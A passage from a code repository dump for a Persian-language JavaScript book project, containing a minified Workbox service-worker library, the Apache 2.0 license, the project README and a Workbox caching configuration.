n=s.value;n.cacheName===this.m&&(t&&n.timestamp=e?r.push(s.value):a++),s.continue()}else n(r)}}),n=[];for(const t of s)await this.o.delete("cache-entries",t.id),n.push(t.url);return n}R(t){return this.m+"|"+m(t)}}class R{constructor(t,e={}){this.v=!1,this.U=!1,this.L=e.maxEntries,this.N=e.maxAgeSeconds,this.m=t,this._=new q(t)}async expireEntries(){if(this.v)return void(this.U=!0);this.v=!0;const t=this.N?Date.now()-1e3*this.N:0,e=await this._.expireEntries(t,this.L),s=await self.caches.open(this.m);for(const t of e)await s.delete(t);this.v=!1,this.U&&(this.U=!1,d(this.expireEntries()))}async updateTimestamp(t){await this._.setTimestamp(t,Date.now())}async isURLExpired(t){if(this.N){return await this._.getTimestamp(t)t.filter(t=>e in t),U=async({request:t,mode:e,plugins:s=[]})=>{const n=v(s,"cacheKeyWillBeUsed");let i=t;for(const t of n)i=await t.cacheKeyWillBeUsed.call(t,{mode:e,request:i}),"string"==typeof i&&(i=new Request(i));return i},L=async({cacheName:t,request:e,event:s,matchOptions:n,plugins:i=[]})=>{const r=await self.caches.open(t),a=await U({plugins:i,request:e,mode:"read"});let c=await r.match(a,n);for(const e of i)if("cachedResponseWillBeUsed"in e){const i=e.cachedResponseWillBeUsed;c=await i.call(e,{cacheName:t,event:s,matchOptions:n,cachedResponse:c,request:a})}return c},x=async({cacheName:t,request:e,response:n,event:i,plugins:r=[],matchOptions:c})=>{const o=await U({plugins:r,request:e,mode:"write"});if(!n)throw new s("cache-put-with-no-response",{url:a(o.url)});const h=await(async({request:t,response:e,event:s,plugins:n=[]})=>{let i=e,r=!1;for(const e of n)if("cacheWillUpdate"in e){r=!0;const n=e.cacheWillUpdate;if(i=await n.call(e,{request:t,response:i,event:s}),!i)break}return r||(i=i&&200===i.status?i:void 0),i||null})({event:i,plugins:r,response:n,request:o});if(!h)return;const u=await self.caches.open(t),l=v(r,"cacheDidUpdate"),f=l.length>0?await L({cacheName:t,matchOptions:c,request:o}):null;try{await u.put(o,h)}catch(t){throw"QuotaExceededError"===t.name&&await async function(){for(const t of p)await t()}(),t}for(const e of l)await e.cacheDidUpdate.call(e,{cacheName:t,event:i,oldResponse:f,newResponse:h,request:o})},N=L,b=async({request:t,fetchOptions:e,event:n,plugins:i=[]})=>{if("string"==typeof t&&(t=new Request(t)),n instanceof FetchEvent&&n.preloadResponse){const t=await n.preloadResponse;if(t)return t}const r=v(i,"fetchDidFail"),a=r.length>0?t.clone():null;try{for(const e of i)if("requestWillFetch"in e){const s=e.requestWillFetch,i=t.clone();t=await s.call(e,{request:i,event:n})}}catch(t){throw new s("plugin-error-request-will-fetch",{thrownError:t})}const c=t.clone();try{let s;s="navigate"===t.mode?await fetch(t):await fetch(t,e);for(const t of i)"fetchDidSucceed"in t&&(s=await t.fetchDidSucceed.call(t,{event:n,request:c,response:s}));return s}catch(t){for(const e of r)await e.fetchDidFail.call(e,{error:t,event:n,originalRequest:a.clone(),request:c.clone()});throw t}};try{self["workbox:strategies:5.1.2"]&&_()}catch(t){}let E;async function K(t,e){const s=t.clone(),n={headers:new Headers(s.headers),status:s.status,statusText:s.statusText},i=e?e(n):n,r=function(){if(void 0===E){const t=new Response("");if("body"in t)try{new Response(t.body),E=!0}catch(t){E=!1}E=!1}return E}()?s.body:await s.blob();return new Response(r,i)}try{self["workbox:precaching:5.1.2"]&&_()}catch(t){}function M(t){if(!t)throw new s("add-to-cache-list-unexpected-type",{entry:t});if("string"==typeof t){const e=new URL(t,location.href);return{cacheKey:e.href,url:e.href}}const{revision:e,url:n}=t;if(!n)throw new s("add-to-cache-list-unexpected-type",{entry:t});if(!e){const t=new URL(n,location.href);return{cacheKey:t.href,url:t.href}}const i=new URL(n,location.href),r=new URL(n,location.href);return i.searchParams.set("__WB_REVISION__",e),{cacheKey:i.href,url:r.href}}class D{constructor(t){this.m=f(t),this.K=new Map,this.M=new Map,this.D=new Map}addToCacheList(t){const e=[];for(const n of t){"string"==typeof n?e.push(n):n&&void 0===n.revision&&e.push(n.url);const{cacheKey:t,url:i}=M(n),r="string"!=typeof n&&n.revision?"reload":"default";if(this.K.has(i)&&this.K.get(i)!==t)throw new s("add-to-cache-list-conflicting-entries",{firstEntry:this.K.get(i),secondEntry:t});if("string"!=typeof n&&n.integrity){if(this.D.has(t)&&this.D.get(t)!==n.integrity)throw new s("add-to-cache-list-conflicting-integrities",{url:i});this.D.set(t,n.integrity)}if(this.K.set(i,t),this.M.set(i,r),e.length>0){const t=`Workbox is precaching URLs without revision info: ${e.join(", ")}\nThis is generally NOT safe. Learn more at https://bit.ly/wb-precache`;console.warn(t)}}}async install({event:t,plugins:e}={}){const s=[],n=[],i=await self.caches.open(this.m),r=await i.keys(),a=new Set(r.map(t=>t.url));for(const[t,e]of this.K)a.has(e)?n.push(t):s.push({cacheKey:e,url:t});const c=s.map(({cacheKey:s,url:n})=>{const i=this.D.get(s),r=this.M.get(n);return this.O({cacheKey:s,cacheMode:r,event:t,integrity:i,plugins:e,url:n})});return await Promise.all(c),{updatedURLs:s.map(t=>t.url),notUpdatedURLs:n}}async activate(){const t=await self.caches.open(this.m),e=await t.keys(),s=new Set(this.K.values()),n=[];for(const i of e)s.has(i.url)||(await t.delete(i),n.push(i.url));return{deletedURLs:n}}async O({cacheKey:t,url:e,cacheMode:n,event:i,plugins:r,integrity:a}){const c=new Request(e,{integrity:a,cache:n,credentials:"same-origin"});let o,h=await b({event:i,plugins:r,request:c});for(const t of r||[])"cacheWillUpdate"in t&&(o=t);if(!(o?await o.cacheWillUpdate({event:i,request:c,response:h}):h.status<400))throw new s("bad-precaching-response",{url:e,status:h.status});h.redirected&&(h=await K(h)),await x({event:i,plugins:r,response:h,request:t===e?c:new Request(t),cacheName:this.m,matchOptions:{ignoreSearch:!0}})}getURLsToCacheKeys(){return this.K}getCachedURLs(){return[...this.K.keys()]}getCacheKeyForURL(t){const e=new URL(t,location.href);return this.K.get(e.href)}async matchPrecache(t){const e=t instanceof Request?t.url:t,s=this.getCacheKeyForURL(e);if(s){return(await self.caches.open(this.m)).match(s)}}createHandler(t=!0){return async({request:e})=>{try{const t=await this.matchPrecache(e);if(t)return t;throw new s("missing-precache-entry",{cacheName:this.m,url:e instanceof Request?e.url:e})}catch(s){if(t)return fetch(e);throw s}}}createHandlerBoundToURL(t,e=!0){if(!this.getCacheKeyForURL(t))throw new s("non-precached-url",{url:t});const n=this.createHandler(e),i=new Request(t);return()=>n({request:i})}}let O;const T=()=>(O||(O=new D),O);const P=(t,e)=>{const s=T().getURLsToCacheKeys();for(const n of function*(t,{ignoreURLParametersMatching:e,directoryIndex:s,cleanURLs:n,urlManipulation:i}={}){const r=new URL(t,location.href);r.hash="",yield r.href;const a=function(t,e=[]){for(const s of[...t.searchParams.keys()])e.some(t=>t.test(s))&&t.searchParams.delete(s);return t}(r,e);if(yield a.href,s&&a.pathname.endsWith("/")){const t=new URL(a.href);t.pathname+=s,yield t.href}if(n){const t=new URL(a.href);t.pathname+=".html",yield t.href}if(i){const t=i({url:r});for(const e of t)yield e.href}}(t,e)){const t=s.get(n);if(t)return t}};let C=!1;function k(t){C||((({ignoreURLParametersMatching:t=[/^utm_/],directoryIndex:e="index.html",cleanURLs:s=!0,urlManipulation:n}={})=>{const i=f();self.addEventListener("fetch",r=>{const a=P(r.request.url,{cleanURLs:s,directoryIndex:e,ignoreURLParametersMatching:t,urlManipulation:n});if(!a)return;let c=self.caches.open(i).then(t=>t.match(a)).then(t=>t||fetch(a));r.respondWith(c)})})(t),C=!0)}const A=[],S={get:()=>A,add(t){A.push(...t)}},B=t=>{const e=T(),s=S.get();t.waitUntil(e.install({event:t,plugins:s}).catch(t=>{throw t}))},F=t=>{const e=T();t.waitUntil(e.activate())};t.CacheFirst=class{constructor(t={}){this.m=w(t.cacheName),this.T=t.plugins||[],this.P=t.fetchOptions,this.C=t.matchOptions}async handle({event:t,request:e}){"string"==typeof e&&(e=new Request(e));let n,i=await N({cacheName:this.m,request:e,event:t,matchOptions:this.C,plugins:this.T});if(!i)try{i=await this.k(e,t)}catch(t){n=t}if(!i)throw new s("no-response",{url:e.url,error:n});return i}async k(t,e){const s=await b({request:t,event:e,fetchOptions:this.P,plugins:this.T}),n=s.clone(),i=x({cacheName:this.m,request:t,response:n,event:e,plugins:this.T});if(e)try{e.waitUntil(i)}catch(t){}return s}},t.ExpirationPlugin=class{constructor(t={}){var e;this.cachedResponseWillBeUsed=async({event:t,request:e,cacheName:s,cachedResponse:n})=>{if(!n)return null;const i=this.A(n),r=this.S(s);d(r.expireEntries());const a=r.updateTimestamp(e.url);if(t)try{t.waitUntil(a)}catch(t){}return i?n:null},this.cacheDidUpdate=async({cacheName:t,request:e})=>{const s=this.S(t);await s.updateTimestamp(e.url),await s.expireEntries()},this.B=t,this.N=t.maxAgeSeconds,this.F=new Map,t.purgeOnQuotaError&&(e=()=>this.deleteCacheAndMetadata(),p.add(e))}S(t){if(t===w())throw new s("expire-custom-caches-only");let e=this.F.get(t);return e||(e=new R(t,this.B),this.F.set(t,e)),e}A(t){if(!this.N)return!0;const e=this.H(t);return null===e||e>=Date.now()-1e3*this.N}H(t){if(!t.headers.has("date"))return null;const e=t.headers.get("date"),s=new Date(e).getTime();return isNaN(s)?null:s}async deleteCacheAndMetadata(){for(const[t,e]of this.F)await self.caches.delete(t),await e.delete();this.F=new Map}},t.NavigationRoute=class extends i{constructor(t,{allowlist:e=[/./],denylist:s=[]}={}){super(t=>this.I(t),t),this.W=e,this.j=s}I({url:t,request:e}){if(e&&"navigate"!==e.mode)return!1;const s=t.pathname+t.search;for(const t of this.j)if(t.test(s))return!1;return!!this.W.some(t=>t.test(s))}},t.clientsClaim=function(){self.addEventListener("activate",()=>self.clients.claim())},t.createHandlerBoundToURL=function(t){return T().createHandlerBoundToURL(t)},t.precacheAndRoute=function(t,e){!function(t){T().addToCacheList(t),t.length>0&&(self.addEventListener("install",B),self.addEventListener("activate",F))}(t),k(e)},t.registerRoute=function(t,e,n){let a;if("string"==typeof t){const s=new URL(t,location.href);a=new i(({url:t})=>t.href===s.href,e,n)}else if(t instanceof RegExp)a=new r(t,e,n);else if("function"==typeof t)a=new i(t,e,n);else{if(!(t instanceof i))throw new s("unsupported-route-type",{moduleName:"workbox-routing",funcName:"registerRoute",paramName:"capture"});a=t}return h().registerRoute(a),a},t.skipWaiting=function(){self.addEventListener("install",()=>self.skipWaiting())}})); //# sourceMappingURL=workbox-cae64c9a.js.map ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS Copyright 2019 Jafar Rezaei Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: README.md ================================================

PDF version APK version PDF version Buy print version ### Getting started This book is made in `254 pages` to teach fundamentals about `JavaScript` language with a focus on summary and brief. I tried to teach everything which could help the reader to learn fast and completely. This book is currently available just in the `Persian` language, but I have a plan to translate it into English and help other people to study it. ### How to use it? We provide a lot of ways to use Better Understanding of JS books, such as [PDF version](https://raw.githubusercontent.com/Mariotek/BetterUnderstandingOfJavascript/master/PDF/project.pdf), [online HTML](http://book.sayjeyhi.com/HTML/?page=1), images, etc. There is a QR code beside every code in the book, and you can see a working code snippet with that QR code. ### About the author This book is written by JafarRezaei([SayJeyHi](https://twitter.com/Sayjeyhi)), I read some JS books like YDNJS or eloquent JS, and they are really good. But I just want to make a Persian resource for my people whose sanctions and other laws do not let them learn free and use open source. Feel free to contact me at [sayjeyhi@gmail.com](mailto:sayjeyhi@gmail.com), I will be glad to see your feedback. ### Print version We ran out of printed versions, we might prepare it again but there is no plan for this yet. BetterUnderstanding of js book ================================================ FILE: workbox-config.js ================================================ module.exports = { globDirectory: "HTML/", globPatterns: ["**/*.{html,svg,png,json,js,css,xml,ico,woff,txt,jpg}"], swDest: "HTML/sw.js", skipWaiting: true, clientsClaim: true, navigateFallback: "/HTML/index.html", // cleanupOutdatedCaches: true, runtimeCaching: [ // { // urlPattern: "/", // handler: "NetworkFirst", // options: { // networkTimeoutSeconds: 10, // cacheName: "app-cache", // expiration: { // maxEntries: 5, // maxAgeSeconds: 60, // }, // // Configure background sync. // backgroundSync: { // name: "my-queue-name", // options: { // maxRetentionTime: 60 * 60, // }, // }, // }, // }, { // Match any request that ends with .png, .jpg, .jpeg or .svg. urlPattern: /\.(?:png|jpg|jpeg|svg)$/, // Apply a cache-first strategy. handler: "CacheFirst", options: { // Use a custom cache name. cacheName: "images", // Only cache 10 images. expiration: { maxEntries: 20, }, }, }, ], };